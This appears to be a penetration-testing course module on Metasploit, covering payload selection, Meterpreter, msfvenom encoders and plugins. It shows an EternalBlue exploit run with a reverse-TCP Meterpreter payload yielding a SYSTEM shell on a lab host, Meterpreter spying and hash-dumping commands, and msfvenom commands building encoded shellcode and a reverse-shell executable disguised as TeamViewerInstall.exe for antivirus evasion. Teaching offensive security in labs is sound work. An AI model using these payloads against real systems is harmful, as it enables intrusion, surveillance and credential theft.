Using Meterpreter, we can also load in different Plugins to assist us with our assessment. We will talk more about these in the Plugins section of this module.
Searching for Payloads
To select our first payload, we need to know what we want to do on the target machine. For example, if we are going for access persistence, we will probably want to select a Meterpreter payload.
MSF - List Payloads
Payloads
msf6 > show payloads
Payloads
========
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 aix/ppc/shell_bind_tcp manual No AIX Command Shell, Bind TCP Inline
1 aix/ppc/shell_find_port manual No AIX Command Shell, Find Port Inline
2 aix/ppc/shell_interact manual No AIX execve Shell for inetd
3 aix/ppc/shell_reverse_tcp manual No AIX Command Shell, Reverse TCP Inline
4 android/meterpreter/reverse_http manual No Android Meterpreter, Android Reverse HTTP Stager
5 android/meterpreter/reverse_https manual No Android Meterpreter, Android Reverse HTTPS Stager
6 android/meterpreter/reverse_tcp manual No Android Meterpreter, Android Reverse TCP Stager
7 android/meterpreter_reverse_http manual No Android Meterpreter Shell, Reverse HTTP Inline
8 android/meterpreter_reverse_https manual No Android Meterpreter Shell, Reverse HTTPS Inline
9 android/meterpreter_reverse_tcp manual No Android Meterpreter Shell, Reverse TCP Inline
10 android/shell/reverse_http manual No Command Shell, Android Reverse HTTP Stager
11 android/shell/reverse_https manual No Command Shell, Android Reverse HTTPS Stager
12 android/shell/reverse_tcp manual No Command Shell, Android Reverse TCP Stager
13 apple_ios/aarch64/meterpreter_reverse_http manual No Apple_iOS Meterpreter, Reverse HTTP Inline
<SNIP>
557 windows/x64/vncinject/reverse_tcp manual No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
558 windows/x64/vncinject/reverse_tcp_rc4 manual No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
559 windows/x64/vncinject/reverse_tcp_uuid manual No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
560 windows/x64/vncinject/reverse_winhttp manual No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
561 windows/x64/vncinject/reverse_winhttps manual No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
As seen above, there are a lot of available payloads to choose from. Not only that, but we can create our payloads using msfvenom, but we will dive into that a little bit later. We will use the same target as before, and instead of using the default payload, which is a simple reverse_tcp_shell, we will be using a Meterpreter Payload for Windows 7(x64).
Scrolling through the list above, we find the section containing Meterpreter Payloads for Windows(x64).
Payloads
515 windows/x64/meterpreter/bind_ipv6_tcp manual No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
516 windows/x64/meterpreter/bind_ipv6_tcp_uuid manual No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
517 windows/x64/meterpreter/bind_named_pipe manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
518 windows/x64/meterpreter/bind_tcp manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
519 windows/x64/meterpreter/bind_tcp_rc4 manual No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
520 windows/x64/meterpreter/bind_tcp_uuid manual No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
521 windows/x64/meterpreter/reverse_http manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
522 windows/x64/meterpreter/reverse_https manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
523 windows/x64/meterpreter/reverse_named_pipe manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
524 windows/x64/meterpreter/reverse_tcp manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
525 windows/x64/meterpreter/reverse_tcp_rc4 manual No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
526 windows/x64/meterpreter/reverse_tcp_uuid manual No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
527 windows/x64/meterpreter/reverse_winhttp manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
528 windows/x64/meterpreter/reverse_winhttps manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
529 windows/x64/meterpreter_bind_named_pipe manual No Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
530 windows/x64/meterpreter_bind_tcp manual No Windows Meterpreter Shell, Bind TCP Inline (x64)
531 windows/x64/meterpreter_reverse_http manual No Windows Meterpreter Shell, Reverse HTTP Inline (x64)
532 windows/x64/meterpreter_reverse_https manual No Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
533 windows/x64/meterpreter_reverse_ipv6_tcp manual No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
534 windows/x64/meterpreter_reverse_tcp manual No Windows Meterpreter Shell, Reverse TCP Inline x64
As we can see, it can be pretty time-consuming to find the desired payload with such an extensive list. We can also use grep in msfconsole to filter out specific terms. This would speed up the search and, therefore, our selection.
We have to enter the grep command with the corresponding parameter at the beginning and then the command in which the filtering should happen. For example, let us assume that we want to have a TCP based reverse shell handled by Meterpreter for our exploit. Accordingly, we can first search for all results that contain the word Meterpreter in the payloads.
MSF - Searching for Specific Payload
Payloads
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter show payloads
6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
19 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep -c meterpreter show payloads
[*] 14
This gives us a total of 14 results. Now we can add another grep command after the first one and search for reverse_tcp.
Payloads
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter grep reverse_tcp show payloads
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep -c meterpreter grep reverse_tcp show payloads
[*] 3
With the help of grep, we reduced the list of payloads we wanted down to fewer. Of course, the grep command can be used for all other commands. All we need to know is what we are looking for.
Selecting Payloads
Same as with the module, we need the index number of the entry we would like to use. To set the payload for the currently selected module, we use set payload <no.> only after selecting an Exploit module to begin with.
MSF - Select Payload
Payloads
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches exploit Target.
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter grep reverse_tcp show payloads
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15
payload => windows/x64/meterpreter/reverse_tcp
After selecting a payload, we will have more options available to us.
Payloads
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches exploit Target.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
As we can see, by running the show payloads command within the Exploit module itself, msfconsole has detected that the target is a Windows machine, and such only displayed the payloads aimed at Windows operating systems.
We can also see that a new option field has appeared, directly related to what the payload parameters will contain. We will be focusing on LHOST and LPORT (our attacker IP and the desired port for reverse connection initialization). Of course, if the attack fails, we can always use a different port and relaunch the attack.
Using Payloads
Time to set our parameters for both the Exploit module and the payload module. For the Exploit part, we will need to set the following:
Parameter
Description
RHOSTS
The IP address of the remote host, the target machine.
RPORT
Does not require a change, just a check that we are on port 445, where SMB is running.
For the payload part, we will need to set the following:
Parameter
Description
LHOST
The host's IP address, the attacker's machine.
LPORT
Does not require a change, just a check that the port is not already in use.
If we want to check our LHOST IP address quickly, we can always call the ifconfig command directly from the msfconsole menu.
Then, we can run the exploit and see what it returns. Check out the differences in the output below:
Payloads
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.14.15:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Sending stage (201283 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.15:4444 -> 10.10.10.40:49158) at 2020-08-14 11:25:32 +0000
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > whoami
[-] Unknown command: whoami.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
The prompt is not a Windows command-line one but a Meterpreter prompt. The whoami command, typically used for Windows, does not work here. Instead, we can use the Linux equivalent of getuid. Exploring the help menu gives us further insight into what Meterpreter payloads are capable of.
MSF - Meterpreter Commands
Payloads
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of Unicode strings
enable_unicode_encoding Enables encoding of Unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
IRB Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
Strap: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
LCD Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
PWD Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Strap: Networking Commands
===========================
Command Description
------- -----------
arp Display the host ARP cache
get proxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of hostnames on the target
route View and modify the routing table
Strap: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system's local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Strap: User interface Commands
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idle time Returns the number of seconds the remote user has been idle
keyboard_send Send keystrokes
keyevent Send key events
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
mouse Send mouse events
screenshare Watch the remote user's desktop in real-time
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Strap: Audio Output Commands
=============================
Command Description
------- -----------
play play a waveform audio file (.wav) on the target system
Priv: Elevate Commands
======================
Command Description
------- -----------
get system Attempt to elevate your privilege to that of the local system.
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestamp Commands
========================
Command Description
------- -----------
timestamp Manipulate file MACE attributes
Pretty nifty. From extracting user hashes from SAM to taking screenshots and activating webcams. All of this is done from the comfort of a Linux-style command line. Exploring further, we also see the option to open a shell channel. This will place us in the actual Windows command-line interface.
MSF - Meterpreter Navigation
Payloads
meterpreter > cd Users
meterpreter > ls
Listing: C:\Users
=================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 8192 dir 2017-07-21 06:56:23 +0000 Administrator
40777/rwxrwxrwx 0 dir 2009-07-14 05:08:56 +0000 All Users
40555/r-xr-xr-x 8192 dir 2009-07-14 03:20:08 +0000 Default
40777/rwxrwxrwx 0 dir 2009-07-14 05:08:56 +0000 Default User
40555/r-xr-xr-x 4096 dir 2009-07-14 03:20:08 +0000 Public
100666/rw-rw-rw- 174 fil 2009-07-14 04:54:24 +0000 desktop.ini
40777/rwxrwxrwx 8192 dir 2017-07-14 13:45:33 +0000 haris
meterpreter > shell
Process 2664 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users>
Channel 1 has been created, and we are automatically placed into the CLI for this machine. The channel here represents the connection between our device and the target host, which has been established in a reverse TCP connection (from the target host to us) using a Meterpreter Stager and Stage. The stager was activated on our machine to await a connection request initialized by the Stage payload on the target machine.
Moving into a standard shell on the target is helpful in some cases, but Meterpreter can also navigate and perform actions on the victim machine. So we see that the commands have changed, but we have the same privilege level within the system.
MSF - Windows CMD
Payloads
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users>dir
dir
Volume in drive C has no label.
Volume Serial Number is A0EF-1911
Directory of C:\Users
21/07/2017 07:56 <DIR> .
21/07/2017 07:56 <DIR> ..
21/07/2017 07:56 <DIR> Administrator
14/07/2017 14:45 <DIR> haris
12/04/2011 08:51 <DIR> Public
0 File(s) 0 bytes
5 Dir(s) 15,738,978,304 bytes free
C:\Users>whoami
whoami
nt authority\system
Let's see what other types of payloads we can use. We will be looking at the most common ones related to Windows operating systems.
Payload Types
The table below contains the most common payloads used for Windows machines and their respective descriptions.
Payload
Description
generic/custom
Generic listener, multi-use
generic/shell_bind_tcp
Generic listener, multi-use, normal shell, TCP connection binding
generic/shell_reverse_tcp
Generic listener, multi-use, normal shell, reverse TCP connection
windows/x64/exec
Executes an arbitrary command (Windows x64)
windows/x64/loadlibrary
Loads an arbitrary x64 library path
windows/x64/messagebox
Spawns a dialog via MessageBox using a customizable title, text & icon
windows/x64/shell_reverse_tcp
Normal shell, single payload, reverse TCP connection
windows/x64/shell/reverse_tcp
Normal shell, stager + stage, reverse TCP connection
windows/x64/shell/bind_ipv6_tcp
Normal shell, stager + stage, IPv6 Bind TCP stager
windows/x64/meterpreter/$
Meterpreter payload + varieties above
windows/x64/powershell/$
Interactive PowerShell sessions + varieties above
windows/x64/vncinject/$
VNC Server (Reflective Injection) + varieties above
Other critical payloads that are heavily used by penetration testers during security assessments are Empire and Cobalt Strike payloads. These are not in the scope of this course, but feel free to research them in our free time as they can provide a significant amount of insight into how professional penetration testers perform their assessments on high-value targets.
Besides these, of course, there are a plethora of other payloads out there. Some are for specific device vendors, such as Cisco, Apple, or PLCs. Some we can generate ourselves using msfvenom. However, next up, we will look at Encoders and how they can be used to influence the attack outcome.
Encoders
Over the 15 years of existence of the Metasploit Framework, Encoders have assisted with making payloads compatible with different processor architectures while at the same time helping with antivirus evasion. Encoders come into play with the role of changing the payload to run on different operating systems and architectures. These architectures include:
x64
x86
sparc
ppc
mips
They are also needed to remove hexadecimal opcodes known as bad characters from the payload. Not only that but encoding the payload in different formats could help with the AV detection as mentioned above. However, the use of encoders strictly for AV evasion has diminished over time, as IPS/IDS manufacturers have improved how their protection software deals with signatures in malware and viruses.
Selecting an Encoder
Before 2015, the Metasploit Framework had different submodules that took care of payloads and encoders. They were packed separately from the msfconsole script and were called msfpayload and msfencode. These two tools are located in /usr/share/framework2/.
If we wanted to create our custom payload, we could do so through msfpayload, but we would have to encode it according to the target OS architecture using msfencode afterward. A pipe would take the output from one command and feed it into the next, which would generate an encoded payload, ready to be sent and run on the target machine.
After 2015, updates to these scripts have combined them within the msfvenom tool, which takes care of payload generation and Encoding. We will be talking about msfvenom in detail later on. Below is an example of what payload generation would look like with today's msfvenom:
Generating Payload - Without Encoding
Encoders
$ msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of perl file: 1674 bytes
my $buf =
"\xda\xc1\xba\x37\xc7\xcb\x5e\xd9\x74\x24\xf4\x5b\x2b\xc9" .
"\xb1\x59\x83\xeb\xfc\x31\x53\x15\x03\x53\x15\xd5\x32\x37" .
"\xb6\x96\xbd\xc8\x47\xc8\x8c\x1a\x23\x83\xbd\xaa\x27\xc1" .
"\x4d\x42\xd2\x6e\x1f\x40\x2c\x8f\x2b\x1a\x66\x60\x9b\x91" .
"\x50\x4f\x23\x89\xa1\xce\xdf\xd0\xf5\x30\xe1\x1a\x08\x31" .
<SNIP>
We should now look at the first line of the $buf and see how it changes when applying an encoder like shikata_ga_nai.
Generating Payload - With Encoding
Encoders
$ msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl -e x86/shikata_ga_nai
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 326 (iteration=0)
x86/shikata_ga_nai succeeded with size 353 (iteration=1)
x86/shikata_ga_nai succeeded with size 380 (iteration=2)
x86/shikata_ga_nai chosen with final size 380
Payload size: 380 bytes
buf = ""
buf += "\xbb\x78\xd0\x11\xe9\xda\xd8\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x59\x31\x58\x13\x83\xc0\x04\x03\x58\x77\x32"
buf += "\xe4\x53\x15\x11\xea\xff\xc0\x91\x2c\x8b\xd6\xe9\x94"
buf += "\x47\xdf\xa3\x79\x2b\x1c\xc7\x4c\x78\xb2\xcb\xfd\x6e"
buf += "\xc2\x9d\x53\x59\xa6\x37\xc3\x57\x11\xc8\x77\x77\x9e"
<SNIP>
Suppose we want to select an Encoder for an existing payload. Then, we can use the show encoders command within the msfconsole to see which encoders are available for our current Exploit module + Payload combination.
Encoders
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show encoders
Compatible Encoders
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 generic/eicar manual No The EICAR Encoder
1 generic/none manual No The "none" Encoder
2 x64/xor manual No XOR Encoder
3 x64/xor_dynamic manual No Dynamic key XOR Encoder
4 x64/zutto_dekiru manual No Zutto Dekiru
In the previous example, we only see a few encoders fit for x64 systems. Like the available payloads, these are automatically filtered according to the Exploit module only to display the compatible ones. For example, let us try the MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference Exploit.
Take the above example just as that—a hypothetical example. If we were to encode an executable payload only once with SGN, it would most likely be detected by most antiviruses today. Let's delve into that for a moment. Picking up msfvenom, the subscript of the Framework that deals with payload generation and Encoding schemes, we have the following input:
Encoders
$ msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of exe file: 73802 bytes
Saved as: TeamViewerInstall.exe
This will generate a payload with the exe format, called TeamViewerInstall.exe, which is meant to work on x86 architecture processors for the Windows platform, with a hidden Meterpreter reverse_tcp shell payload, encoded once with the Shikata Ga Nai scheme. Let us take the result and upload it to VirusTotal.
One better option would be to try running it through multiple iterations of the same Encoding scheme:
Encoders
$ msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe
Found 1 compatible encoders
Attempting to encode payload with 10 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai succeeded with size 395 (iteration=1)
x86/shikata_ga_nai succeeded with size 422 (iteration=2)
x86/shikata_ga_nai succeeded with size 449 (iteration=3)
x86/shikata_ga_nai succeeded with size 476 (iteration=4)
x86/shikata_ga_nai succeeded with size 503 (iteration=5)
x86/shikata_ga_nai succeeded with size 530 (iteration=6)
x86/shikata_ga_nai succeeded with size 557 (iteration=7)
x86/shikata_ga_nai succeeded with size 584 (iteration=8)
x86/shikata_ga_nai succeeded with size 611 (iteration=9)
x86/shikata_ga_nai chosen with final size 611
Payload size: 611 bytes
Final size of exe file: 73802 bytes
Error: Permission denied @ rb_sysopen - /root/Desktop/TeamViewerInstall.exe
As we can see, it is still not enough for AV evasion. There is a high number of products that still detect the payload. Alternatively, Metasploit offers a tool called msf-virustotal that we can use with an API key to analyze our payloads. However, this requires free registration on VirusTotal.
As expected, most anti-virus products that we will encounter in the wild would still detect this payload so we would have to use other methods for AV evasion that are outside the scope of this module.
Plugins
Plugins are readily available software that has already been released by third parties and have given approval to the creators of Metasploit to integrate their software inside the framework. These can represent commercial products that have a Community Edition for free use but with limited functionality, or they can be individual projects developed by individual people.
Using Plugins
To start using a plugin, we will need to ensure it is installed in the correct directory on our machine. Navigating to /usr/share/metasploit-framework/plugins, which is the default directory for every new installation of msfconsole, should show us which plugins we have to our availability:
If the plugin is found here, we can fire it up inside msfconsole and will be met with the greeting output for that specific plugin, signaling that it was successfully loaded in and is now ready to use:
MSF - Load Nessus
Plugins
msf6 > load nessus
[*] Nessus Bridge for Metasploit
[*] Type nessus_help for a command listing
[*] Successfully loaded Plugin: Nessus
msf6 > nessus_help
Command Help Text
------- ---------
Generic Commands
----------------- -----------------
nessus_connect Connect to a Nessus server
nessus_logout Logout from the Nessus server
nessus_login Login into the connected Nessus server with a different username and
<SNIP>
nessus_user_del Delete a Nessus User
nessus_user_passwd Change Nessus Users Password
Policy Commands
----------------- -----------------
nessus_policy_list List all polciies
nessus_policy_del Delete a policy
If the plugin is not installed correctly, we will receive the following error upon trying to load it.
Plugins
msf6 > load Plugin_That_Does_Not_Exist
[-] Failed to load plugin from /usr/share/metasploit-framework/plugins/Plugin_That_Does_Not_Exist.rb: cannot load such file -- /usr/share/metasploit-framework/plugins/Plugin_That_Does_Not_Exist.rb
To start using the plugin, start issuing the commands available to us in the help menu of that specific plugin. Each cross-platform integration offers us a unique set of interactions that we can use during our assessments, so it is helpful to read up on each of these before employing them to get the most out of having them at our fingertips.
Installing new Plugins
New, more popular plugins are installed with each update of the Parrot OS distro as they are pushed out towards the public by their makers, collected in the Parrot update repo. To install new custom plugins not included in new updates of the distro, we can take the .rb file provided on the maker's page and place it in the folder at /usr/share/metasploit-framework/plugins with the proper permissions.
Afterward, launch msfconsole and check the plugin's installation by running the load command. After the plugin has been loaded, the help menu at the msfconsole is automatically extended by additional functions.
MSF - Load Plugin
Plugins
$ msfconsole -q
msf6 > load pentest
___ _ _ ___ _ _
| _ \___ _ _| |_ ___ __| |_ | _ \ |_ _ __ _(_)_ _
| _/ -_) ' \ _/ -_|_-< _| | _/ | || / _` | | ' \
|_| \___|_||_\__\___/__/\__| |_| |_|\_,_\__, |_|_||_|
|___/
Version 1.6
Pentest Plugin loaded.
by Carlos Perez (carlos_perez[at]darkoperator.com)
[*] Successfully loaded plugin: pentest
msf6 > help
Tradecraft Commands
===================
Command Description
------- -----------
check_footprint Checks the possible footprint of a post module on a target system.
